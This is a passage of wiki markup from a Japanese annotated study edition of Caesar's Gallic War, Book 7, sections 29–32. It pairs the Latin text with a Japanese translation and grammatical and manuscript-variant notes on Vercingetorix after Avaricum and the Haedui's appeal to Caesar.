*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Postero die [[wikt:en:concilium#Latin|concilio]] [[wikt:en:convocatus#Latin|convocato]], 
**翌日に、会合が召集されると、
*[[wikt:en:consolatus#Latin|consolatus]] [[wikt:en:cohortatus#Latin|cohortatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; est, 
**&lt;small&gt;（ウェルキンゲトリークスは、味方の者たちを）&lt;/small&gt;慰めて、励ました：
*&lt;u&gt;ne&lt;/u&gt; se [[wikt:en:admodum#Latin|admodum]] animo [[wikt:en:demitterent#Latin|demitterent]], 
**あまり気を落とさないように、
*&lt;u&gt;ne&lt;/u&gt; [[wikt:en:perturbarentur#Latin|perturbarentur]] [[wikt:en:incommodum#Latin|incommodo]]. 
**敗北により取り乱さないように、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上の下線部は、&amp;alpha;系写本では [[wikt:en:ne#Latin:_no|ne]] ～ ne だが、&lt;br&gt;　　　　　　　　　　　&amp;beta;系写本では ne ～ [[wikt:en:neve#Latin|neve]] となっている。）&lt;/span&gt;

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Non [[wikt:en:virtus#Latin|virtute]] neque in [[wikt:en:acies#Latin|acie]] [[wikt:en:vicisse#Latin|vicisse]] [[wikt:en:Romani#Latin|Romanos]], 
**ローマ人たちが勝ったのは、武勇においてでも、戦列&lt;small&gt;〔野外の合戦〕&lt;/small&gt;においてでもなく、
*sed [[wikt:en:artificium#Noun|artificio]] [[wikt:en:quidam#Determiner|quodam]] et [[wikt:en:scientia#Latin:_knowledge|scientia]] [[wikt:en:oppugnatio#Latin|oppugnationis]], 
**ある種の技巧および攻城戦の知識によるものであって、
*cuius rei [[wikt:en:fuerint#Latin|fuerint]] ipsi [[wikt:en:imperitus#Latin|imperiti]]. 
**その事柄に&lt;small&gt;（ガッリア人）&lt;/small&gt;自身が通じていなかったのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第5巻#42節|第5巻42節]]では、ネルウィイー族らガッリア北部のベルガエ勢はローマ人の攻城術をまねていた。）&lt;/span&gt;

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:erro#Latin:_wander|Errare]], si [[wikt:en:aliqui#Latin|qui]] in [[wikt:en:bellum#Latin|bello]] omnes [[wikt:en:secundus#Adjective|secundos]] rerum [[wikt:en:proventus#Latin|proventus]] [[wikt:en:exspectent#Latin|exspectent]]. 
**誰であれ、戦争において、万事が順調な成功になることを期待するのならば、&lt;small&gt;（その者らは）&lt;/small&gt;誤っている。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：語順が判りにくいが、&lt;br&gt;　　　　物事のすべて（omnes rerum）が幸運な結果（secundos proventus）であることを期待するのならば～。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：errare の意味上の主語（[[wikt:en:eos#Latin|eos]]）が省略されている。）&lt;/span&gt;

:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Sibi [[wikt:en:numquam#Latin|numquam]] [[wikt:en:placuisse#Latin|placuisse]] [[wikt:en:Avaricum#Latin|Avaricum]] [[wikt:en:defendi#Latin|defendi]], 
**自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;にとって、アウァーリクムが防衛されることは決して好ましいものではなかった。
*cuius rei [[wikt:en:testis#Latin:_witness|testes]] ipsos [[wikt:en:haberet#Latin|haberet]]; 
**その事の証人は&lt;small&gt;（諸君ら）&lt;/small&gt;自身である。
*sed &lt;u&gt;factum&lt;/u&gt; [[wikt:en:inprudentia#Latin|inprudentia]] [[wikt:en:Bituriges#Latin|Biturigum]] et [[wikt:en:nimius#Latin|nimia]] [[wikt:en:obsequentia#Latin|obsequentia]] reliquorum, &lt;u&gt;uti&lt;/u&gt; hoc [[wikt:en:incommodum#Latin|incommodum]] [[wikt:en:acciperetur#Latin|acciperetur]].
**だが、ビトゥリゲース族の軽率さと、ほかの者たちの過度な同調により、この敗北を蒙るようになったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:factus#Latin:_done|factum]] (esse) ～ [[wikt:en:uti#Latin:_how|uti]] …「…ようになった」）&lt;/span&gt;

:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Id tamen se celeriter [[wikt:en:maior#Adjective_2|maioribus]] [[wikt:en:commodum#Latin:noun|commodis]] [[wikt:en:sanaturus#Latin|sanaturum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;. 
**しかしながら、自分がそれ&lt;small&gt;〔敗北〕&lt;/small&gt;を速やかに大いなる勝利によって埋め合わせるであろう。

:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Nam quae ab reliquis [[wikt:en:Galli#Latin:_Gauls|Gallis]] civitates [[wikt:en:dissentirent#Latin|dissentirent]], 
**一方、&lt;small&gt;（ウェルキンゲトリークスら）&lt;/small&gt;ほかのガッリア人たちとは意見を相異する諸部族、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：先行詞 [[wikt:en:civitas#Latin|civitates]] が quae 以下の関係文中に入り込む倒置の語順。）&lt;/span&gt;
*has sua [[wikt:en:diligentia#Noun|diligentia]] [[wikt:en:adiuncturus#Latin|adiuncturum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;
**彼ら&lt;small&gt;〔諸部族〕&lt;/small&gt;を自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;の入念さにより合流させるであろうし、
*atque unum [[wikt:en:consilium#Latin|consilium]] [[wikt:en:totus#Latin:_whole|totius]] [[wikt:en:Gallia#Latin|Galliae]] [[wikt:en:effecturus#Latin|effecturum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;, 
**全ガッリアの考えを一つにするであろう。
*cuius [[wikt:en:consensus#Latin|consensui]] ne orbis quidem terrarum [[wikt:en:possit#Latin|possit]] [[wikt:en:obsistere#Latin|obsistere]]; 
**その団結には、全世界でさえ邪魔することはできない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:orbis#Latin|orbis]] [[wikt:en:/terrarum#Latin|terrarum]]「全世界」）&lt;/span&gt;
*[[wikt:en:id#Latin|id]]&lt;nowiki&gt;que&lt;/nowiki&gt; se [[wikt:en:prope#Adverb|prope]] iam [[wikt:en:effectus#Latin:_participle|effectum]] habere. 
**それを自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、ほとんどすでに成し遂げたと思う。

:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:interea#Latin|Interea]] [[wikt:en:aequus#Latin|aequum]] esse ab iis [[wikt:en:communis#Latin|communis]] [[wikt:en:salus#Latin|salutis]] causa [[wikt:en:impetrari#Latin|impetrari]], 
**その間に&lt;small&gt;（ガッリアの）&lt;/small&gt;共通の安全のために、彼ら&lt;small&gt;〔ガッリア人〕&lt;/small&gt;によって&lt;small&gt;（以下のように）&lt;/small&gt;達成されることが好都合である。
*ut castra [[wikt:en:munio#Latin|munire]] [[wikt:en:instituerent#Latin|instituerent]], 
**陣営を防御することを実施するように、
*[[wikt:en:quo#Latin:_where|quo]] [[wikt:en:facilius#Latin|facilius]] [[wikt:en:repentinus#Latin|repentinos]] hostium [[wikt:en:impetus#Latin|impetus]] &lt;u&gt;sustinerent&lt;/u&gt;.
**それにより、敵たち&lt;small&gt;〔ローマ人〕&lt;/small&gt;の予期せぬ襲撃に対して、より容易に持ちこたえられるように。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:sustinerent#Latin|sustinerent]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:sustinere#Latin|sustinere]] [[wikt:en:possent#Latin|possent]] となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===30節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/30節]]　{{進捗|00%|2026-08-29}}&lt;/span&gt;
;ガッリア勢がウェルキンゲトリークスに心服し、希望を抱く

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Fuit haec [[wikt:en:oratio#Latin|oratio]] non [[wikt:en:ingratus#Latin|ingrata]] [[wikt:en:Galli#Latin:_Gauls|Gallis]], 
**この演説は、ガッリア人たちにとっては不快なものではなかった。
*et maxime, quod ipse animo non [[wikt:en:defecerat#Latin|defecerat]], [[wikt:en:tantus#Latin|tanto]] [[wikt:en:acceptus#Latin|accepto]] [[wikt:en:incommodum#Latin|incommodo]], 
**──というのは、とりわけ&lt;small&gt;（ウェルキンゲトリークス）&lt;/small&gt;自身がこれほどの敗北を蒙っても意気消沈することなく、
*neque &lt;u&gt;se&lt;/u&gt; [[wikt:en:in_occultum#Latin|in occultum]] [[wikt:en:abdiderat#Latin|abdiderat]] 
**秘密の場所に身を隠したり、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の再帰代名詞 se は 最初の印刷本 [[ガリア戦記/注解編/写本と校訂版#Editio_princeps|''ed. pr.'']] で挿入されたもので、主要写本 &amp;omega; にはない。）&lt;/span&gt;
*et [[wikt:en:conspectus#Latin:_noun|conspectum]] [[wikt:en:multitudo#Latin|multitudinis]] [[wikt:en:fugerat#Latin|fugerat]]&lt;!--,--&gt;; 
**大勢の見ているところを避けたりしなかったからである──。

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:plus#Latin:_adverb|plus]]&lt;nowiki&gt;que&lt;/nowiki&gt; animo [[wikt:en:provideo#Latin|providere]] et [[wikt:en:praesentio#Latin|praesentire]] [[wikt:en:existimabatur#Latin|existimabatur]], 
**&lt;small&gt;（ウェルキンゲトリークスは他の者よりも）&lt;/small&gt;より先見の明があり、予感していると考えられていた。
*quod re [[wikt:en:integer#Latin|integra]] 
**──というのは、事態が手つかずのままで、
*[[wikt:en:primo#Latin:_adverb|primo]] [[wikt:en:incendendus#Latin|incendendum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt; [[wikt:en:Avaricum#Latin|Avaricum]], 
**当初はアウァーリクムが焼き払われるべきだと&lt;small&gt;（主張し）&lt;/small&gt;、
*post [[wikt:en:deserendus#Latin|deserendum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;, [[wikt:en:censuerat#Latin|censuerat]]. 
**後には&lt;small&gt;（アウァーリクムは）&lt;/small&gt;放棄されるべきだ、と主張していたからだ──。

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:itaque#Latin|Itaque]] &lt;u&gt;ut&lt;/u&gt; [[wikt:en:reliquus#Latin|reliquorum]] [[wikt:en:imperator#Latin|imperatorum]] res adversae [[wikt:en:auctoritas#Latin|auctoritatem]] [[wikt:en:minuunt#Latin|minuunt]], 
**それゆえに、逆境がほかの将軍たちの影響力を減ずる一方で、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ut#Conjunction|ut]] ～, [[wikt:en:sic#Latin|sic]] …「～であるように、同様に…」あるいは「～である一方で、…」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:res#Latin|res]] [[wikt:en:adversus#Participle|adversae]]「逆境、（戦争における）敗北」。）&lt;/span&gt;
*&lt;u&gt;sic&lt;/u&gt; huius &lt;u&gt;ex contrario&lt;/u&gt; [[wikt:en:dignitas#Latin|dignitas]] &lt;u&gt;incommodo&lt;/u&gt; [[wikt:en:acceptus#Latin|accepto]] &lt;u&gt;in dies&lt;/u&gt; [[wikt:en:augebatur#Latin|augebatur]]. 
**それどころか、彼の威厳は、災難を蒙っても、日ごとに高まっていたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ex_contrario#Latin|ex contrario]]「それどころか」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:incommodum#Latin|incommodum]]「不運、災難、（戦争における）敗北」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_dies#Latin|in dies]]「日に日に」「日ごとに」。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:simul#Latin|Simul]] &lt;u&gt;in spem [[wikt:en:veniebant#Latin|veniebant]]&lt;/u&gt; eius [[wikt:en:adfirmatio#Latin|adfirmatione]] de reliquis [[wikt:en:adiungendus#Latin|adiungendis]] [[wikt:en:civitas#Latin|civitatibus]]; 
**同時に、彼の断言によって&lt;small&gt;（ガッリア人たちは）&lt;/small&gt;ほかの諸部族を合流させることについて希望を抱いていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in [[wikt:en:spes#Latin|spem]] [[wikt:en:venio#Latin|venire]]「希望を抱くようになる」。）&lt;/span&gt;
*[[wikt:en:primum#Adverb|primum]]&lt;nowiki&gt;que&lt;/nowiki&gt; eo tempore [[wikt:en:Galli#Latin:_Gauls|Galli]] [[wikt:en:castra#Latin|castra]] [[wikt:en:munio#Latin|munire]] [[wikt:en:instituerunt#Latin|instituerunt]], 
**そのときに初めて、ガッリア人たちは陣営の防備を固めることに着手した。
*et &lt;u&gt;sic&lt;/u&gt; &lt;u&gt;sunt&lt;/u&gt; animo &lt;u&gt;consternati&lt;/u&gt;, homines [[wikt:en:insuetus#Latin|insueti]] [[wikt:en:labor#Latin|laboris]], 
**&lt;small&gt;（陣営の防備という）&lt;/small&gt;労苦に慣れていない人々が、&lt;u&gt;気持ちが狼狽していたので、&lt;/u&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:sic#Latin|sic]] ～, [[wikt:en:ut#Conjunction|ut]] …「～であるので、その結果…ほどだった」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の sunt は主要写本 &amp;omega; の記述だが、erant とする修正提案もある。&lt;br&gt;　　　　sunt なら未完了過去 (sunt consternati)、erant なら過去完了 (erant consternati) になる。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:consternati#Latin|consternati]] は主要写本 &amp;omega; の記述だが、&lt;br&gt;　　　　　　　　 ''[[ガリア戦記/注解編/写本と校訂版#Nipperdey|Nipperdey]]'' は [[wikt:en:confirmati#Latin|confirmati]] と修正提案している。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：写本の読みは sunt [[wikt:en:consternati#Latin|consternati]] 「（彼らは）恐怖に陥っていた、混乱していた。」だが、&lt;br&gt;　　　　修正読みでは sunt [[wikt:en:confirmati#Latin|confirmati]] 「（彼らは）励まされた」。）&lt;/span&gt;
*&lt;u&gt;ut&lt;/u&gt; omnia, quae [[wikt:en:imperarentur#Latin|imperarentur]], sibi [[wikt:en:patiendus#Latin|patienda]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt; &lt;u&gt;et perferenda &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;&lt;/u&gt; [[wikt:en:existimarent#Latin|existimarent]].
**自分たちにとって、命令されたことすべてを耐えるべきであり、&lt;u&gt;成就するべきである&lt;/u&gt;と考えるに至ったほどであった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の et [[wikt:en:perferenda#Latin|perferenda]] (esseは省略されている) は&amp;beta;系写本の記述で、&lt;br&gt;　　　　　　　　&amp;alpha;系写本にはない。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===31節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/31節]]　{{進捗|00%|2026-08-29}}&lt;/span&gt;
;ウェルキンゲトリークスがほかの諸部族を勧誘し、兵力を補充する

:　
;　　　ウェルキンゲトリークスが、さらに多くの部族に同盟を誘いかける
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Nec minus, quam est [[wikt:en:pollicitus#Latin|pollicitus]], 
**約束したことに劣らず、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:nec#Latin|nec]] [[wikt:en:minus#Adverb_4|minus]] [[wikt:en:quam#Latin|quam]] ～「～に劣らず」。）&lt;/span&gt;
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]] animo [[wikt:en:laborabat#Latin|laborabat]], ut reliquas [[wikt:en:civitas#Latin|civitates]] [[wikt:en:adiungeret#Latin|adiungeret]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ほかの諸部族を加盟させるように、心から努力した。
*atque &lt;u&gt;earum principes donis pollicitationibusque&lt;/u&gt; [[wikt:en:adliciebat#Latin|adliciebat]]. 
**それらの領袖たちに贈物を約束することによって、誘い込もうとしていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では earum [[wikt:en:princeps#Noun_3|principes]] [[wikt:en:donum#Latin|donis]] [[wikt:en:pollicitatio#Latin|pollicitationibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では eas donis pollicitationibus となっている。）&lt;/span&gt;
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Huic rei [[wikt:en:idoneus#Latin|idoneos]] homines [[wikt:en:deligebat#Latin|deligebat]], 
**この事&lt;small&gt;〔同盟に誘うこと〕&lt;/small&gt;に適切な人物たちを&lt;small&gt;（ウェルキンゲトリークスが）&lt;/small&gt;選び出して、
*quorum [[wikt:en:quisque#Latin|quisque]] aut [[wikt:en:oratio#Latin|oratione]] [[wikt:en:subdolus#Latin|subdola]] aut [[wikt:en:amicitia#Latin|amicitia]] 
**その者たちのおのおのは、巧妙な演説により、あるいは友情により、
*[[wikt:en:facillime#Latin|facillime]] &lt;u&gt;capere&lt;/u&gt; posset. 
**かなり容易に&lt;small&gt;（同盟者を）&lt;/small&gt;得ることができた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;系写本･写本Lでは [[wikt:en:capere#Latin|capere]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:capi#Latin|capi]] となっている。）&lt;/span&gt;

:　
;　　　アウァーリクムからの逃亡者たちに、武具と衣服を支給する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; &lt;span style=&quot;color:#009900;&quot;&gt;[eos]&lt;/span&gt; qui [[wikt:en:Avaricum#Latin|Avarico]] [[wikt:en:expugnatus#Latin|expugnato]] [[wikt:en:refugerant#Latin|refugerant]], 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;アウァーリクムが攻略されたので逃げて来ていた者たちに、
*[[wikt:en:armandus#Latin|armandos]] [[wikt:en:vestiendus#Latin|vestiendos]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:curat#Latin|curat]]; 
**武装させられ、服を着せられるように、手配する。
:　
;　　　同盟部族に徴集する兵員の数と集まる期日を指示する
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:simul#Latin|simul]], ut [[wikt:en:deminutus#Latin|deminutae]] [[wikt:en:copiae#Latin|copiae]] [[wikt:en:redintegrarentur#Latin|redintegrarentur]], 
**同時に、減り衰えた軍勢が補充されるように、
*[[wikt:en:imperat#Latin|imperat]] [[wikt:en:certus#Latin|certum]] &lt;u&gt;numerum&lt;/u&gt; militum civitatibus, &lt;u&gt;quem&lt;/u&gt; et &lt;u&gt;quam ante diem&lt;/u&gt; in castra [[wikt:en:adduci#Latin|adduci]] [[wikt:en:velit#Latin|velit]], 
**諸部族に、兵の一定の&lt;u&gt;数&lt;/u&gt;を&lt;u&gt;どれほど&lt;/u&gt;、かつ、&lt;u&gt;いつの日の前までに&lt;/u&gt;陣営に連れて来ることを欲しているかを指図し、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:qui#Determiner|quem]] [[wikt:en:numerus#Latin|numerum]] 「どれほどの数を」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:qui#Determiner|quam]] ante [[wikt:en:dies#Latin|diem]] 「いつの日の前までに」。）&lt;/span&gt;
*[[wikt:en:sagittarius#Noun|sagittarios]]&lt;u&gt;que&lt;/u&gt; omnes, quorum erat [[wikt:en:permagnus#Latin|permagnus]] &lt;u&gt;numerus in Gallia&lt;/u&gt;, [[wikt:en:conquiri#Latin|conquiri]] et ad se [[wikt:en:mitti#Latin|mitti]] [[wikt:en:iubet#Latin|iubet]]. 
**ガッリアにかなり大勢がいた弓兵のすべてを、徴募して自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;のもとへ派遣することを命じる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本の語順は numerus in Gallia で、&lt;br&gt;　　　　　　　　　&amp;beta;系写本の語順は in Gallia numerus となっている。）&lt;/span&gt;
*His rebus celeriter id, quod [[wikt:en:Avaricum#Latin|Avarici]] [[wikt:en:deperierat#Latin|deperierat]], [[wikt:en:expletur#Latin|expletur]]. 
**これらの事により、速やかに、アウァーリクムで壊滅していたそれら&lt;small&gt;（の軍勢）&lt;/small&gt;が補充される。
:　
;　　　ニティオブロゲース族の王テウトマトゥスが、騎兵隊らとともにウェルキンゲトリークスに合流する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:interim#Latin|Interim]] [[wikt:en:Teutomatus#Latin|Teutomatus]], [[wikt:en:Ollovico#Latin|Olloviconis]] filius, rex &lt;u&gt;Nitiobrogum&lt;/u&gt;, 
**その間に、オッロウィコーの息子で、ニティオブロゲース族の王であるテウトマトゥスが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では Nitiobrogum だが、&lt;br&gt;　　　　　　　　　写本Uの一部では [[wikt:en:Nitiobriges#Latin|Nitiobrigum]] となっている。）&lt;/span&gt;
*cuius pater ab [[wikt:en:senatus#Latin|senatu]] nostro amicus erat [[wikt:en:appellatus#Latin|appellatus]], 
**その父&lt;small&gt;〔オッロウィコー〕&lt;/small&gt;は、我が方&lt;small&gt;〔ローマ人〕&lt;/small&gt;の[[w:元老院 (ローマ)|元老院]]から友人と呼ばれていたのだが、
*cum magno [[wikt:en:eques#Latin|equitum]] suorum numero et quos ex [[wikt:en:Aquitania#Latin|Aquitania]] [[wikt:en:conduxerat#Latin|conduxerat]] ad eum [[wikt:en:pervenit#Etymology_2|pervenit]].
**自らの騎兵の多数およびアクィーターニアから募っていた者たちとともに、彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;のもとへ到着した。

&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

==ゲルゴウィア攻略戦、ハエドゥイー族の離反==
{{wikipedia|ゲルゴウィアの戦い}}
{{wikipedia|en:Battle of Gergovia}}
{{wikipedia|la:Obsidio Gergoviensis}}
===32節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/32節]]　{{進捗|00%|2026-09-23}}&lt;/span&gt;
;ハエドゥイー族内紛の危機

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar [[wikt:en:Avarici#Latin|Avarici]] complures dies [[wikt:en:commoratus#Latin|commoratus]] 
**カエサルは、アウァーリクムに幾日も留まって、
*[[wikt:en:summus#Latin|summam]]&lt;nowiki&gt;que&lt;/nowiki&gt; ibi [[wikt:en:copia#Latin|copiam]] [[wikt:en:frumentum#Latin|frumenti]] et reliqui [[wikt:en:commeatus#Latin:_noun|commeatus]] [[wikt:en:nactus#Latin|nactus]] 
**そこでかなり多量の糧食やほかの必需品を手に入れて、
*[[wikt:en:exercitus#Latin:_noun|exercitum]] ex [[wikt:en:labor#Latin:_work|labore]] atque [[wikt:en:inopia#Latin:_noun|inopia]] &lt;u&gt;reficit&lt;/u&gt;. 
**軍隊を労苦や欠乏から回復させた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;系･&amp;beta;系写本では [[wikt:en:reficit#Latin|reficit]]&lt;sub&gt;&amp;nbsp;(現在形)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;phi;系写本では [[wikt:en:refecit#Latin|refecit]]&lt;sub&gt;&amp;nbsp;(完了形)&lt;/sub&gt; となっている。）&lt;/span&gt;

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Iam [[wikt:en:prope#Adverb|prope]] [[wikt:en:hiems#Latin|hieme]] [[wikt:en:confectus#Latin|confecta]], 
**すでに、ほぼ冬は過ぎ去り、
*cum ipso anni tempore ad [[wikt:en:gerendus#Latin|gerendum]] bellum [[wikt:en:vocaretur#Latin|vocaretur]] et ad hostem [[wikt:en:proficisci#Latin|proficisci]] [[wikt:en:constituisset#Latin|constituisset]], 
**&lt;small&gt;（カエサルが）&lt;/small&gt;まさにその時季に戦争を遂行するために呼び寄せられて、敵の方へ発つことを決意していたときに、
*&lt;u&gt;sive&lt;/u&gt; eum ex [[wikt:en:palus#Latin|paludibus]] [[wikt:en:silva#Latin|silvis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:elicio#Latin|elicere]] &lt;u&gt;sive&lt;/u&gt; [[wikt:en:obsidio#Latin|obsidione]] [[wikt:en:premo#Latin|premere]] [[wikt:en:posset#Latin|posset]], 
**&lt;u&gt;あるいは&lt;/u&gt;&lt;small&gt;（敵を）&lt;/small&gt;沼地や森林から誘い出せるか、&lt;u&gt;あるいは&lt;/u&gt;包囲により圧倒することができるか、というときに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：sive ～ sive …「あるいは～、あるいは…」）&lt;/span&gt;
*[[wikt:en:legatus#Latin:_noun|legati]] ad eum [[wikt:en:princeps#Latin:_noun|principes]] [[wikt:en:Haedui#Latin|Haeduorum]] [[wikt:en:veniunt#Latin|veniunt]] 
**[[w:ハエドゥイ族|ハエドゥイー族]]の領袖たちが使節として彼&lt;small&gt;〔カエサル〕&lt;/small&gt;のもとへやって来る。
*[[wikt:en:oratum#Latin:_supine|oratum]], ut maxime [[wikt:en:necessarius#Latin:_unavoidable|necessario]] tempore [[wikt:en:civitas#Latin|civitati]] [[wikt:en:subveniat#Latin|subveniat]]&lt;!--;--&gt;: 
**きわめて緊急の時に、部族を助けてくれるように、と頼むために。

:　
;　　　ハエドゥイー族の救援要請（以下、間接話法）
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:summus#Latin|summo]] esse in [[wikt:en:periculum#Latin|periculo]] rem, 
**事態は最大の危機にある。
*quod, cum [[wikt:en:singulus#Latin|singuli]] [[wikt:en:magistratus#Latin|magistratus]] [[wikt:en:antiquitus#Latin|antiquitus]] [[wikt:en:creari#Latin|creari]] atque [[wikt:en:regius#Latin|regiam]] [[wikt:en:potestas#Latin|potestatem]] &lt;u&gt;annum&lt;/u&gt; [[wikt:en:obtineo#Latin|obtinere]] [[wikt:en:consuessent#Latin|consuessent]], 
**──というのは、昔から一人ずつの統領が選出されて、一年ごとに支配権力に就くことが常であったのに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第1巻#16節|第1巻16節]]によれば、ウェルゴブレトゥス [[w:la:Vergobretus|Vergobretus]]という最高官職が毎年選ばれて大権を司る。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:annum#Latin|annum]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:annuam#Adjective|annuam]] となっている。）&lt;/span&gt;
*duo [[wikt:en:magistratus#Latin|magistratum]] [[wikt:en:gerant#Latin|gerant]] 
